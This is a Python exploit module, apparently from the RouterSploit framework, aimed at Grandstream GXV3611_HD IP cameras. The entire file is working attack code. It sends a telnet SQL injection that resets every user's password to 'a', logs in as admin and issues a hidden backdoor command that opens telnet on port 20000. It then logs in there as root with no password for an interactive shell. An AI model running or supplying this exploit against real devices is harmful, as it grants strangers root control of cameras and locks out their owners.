import telnetlib

from routersploit import (
    exploits,
    mute,
    print_error,
    print_success,
    validators,
)


class Exploit(exploits.Exploit):
    __info__ = {
        'name': 'Grandsteam GXV3611_HD - SQL Injection',
        'description': 'Module exploits an SQL injection vulnerability in Grandstream GXV3611_HD IP cameras. '
                       'After the SQLI is triggered, the module opens a backdoor on TCP/20000 and connects to it',
        'authors': [
            'pizza1337',       # exploit author
            'Joshua Abraham',  # routesploit module
        ],
        'references': [
            'https://www.exploit-db.com/exploits/40441/',
            'http://boredhackerblog.blogspot.com/2016/05/hacking-ip-camera-grandstream-gxv3611hd.html',
        ],
        'devices': [
            'Grandstream GXV3611_HD',
        ],
    }

    target = exploits.Option('', 'Target IP address e.g. 192.168.1.1', validators=validators.ipv4)  # target address
    telnet_port = exploits.Option(23, 'Target port', validators=validators.integer)  # default port

    def run(self):
        if self.check():
            print_success("Target appears to be vulnerable...")

            try:
                conn = telnetlib.Telnet(self.target, self.telnet_port, timeout=10)
                conn.read_until("Username: ")
                conn.write("';update user set password='a';--\r\n")  # This changes all the passwords to 'a'
                conn.read_until("Password: ")
                conn.write("nothing\r\n")
                conn.read_until("Username: ")
                conn.write("admin\r\n")
                conn.read_until("Password: ")
                conn.write("a\r\n")  # Login with the new password
                conn.read_until("> ")
                conn.write("!#/ port lol\r\n")  # Backdoor command triggers telnet server to startup.
                conn.read_until("> ")
                conn.write("quit\r\n")
                conn.close()
                print_success("SQLI successful, going to telnet into port 20000 "
                              "with username root and no password to get shell")
            except Exception:
                print_error("Exploit failed. Could not log in.")

            try:
                conn = telnetlib.Telnet(self.target, 20000, timeout=10)
                conn.read_until("login: ")
                conn.write("root\r\n")
                conn.read_until("Password: ")
                conn.write("\r\n")
                conn.read_until("# ")
                print_success("Authenticaiton Successful")
                conn.interact()
            except Exception:
                print_error("Failed to log into backdoor.")
        else:
            print_error("Exploit failed. Target does not appear vulnerable")

    @mute
    def check(self):
        try:
            conn = telnetlib.Telnet(self.target, self.telnet_port, timeout=10)
            return 'Grandstream' in conn.read_until("login:")
        except Exception:
            return False
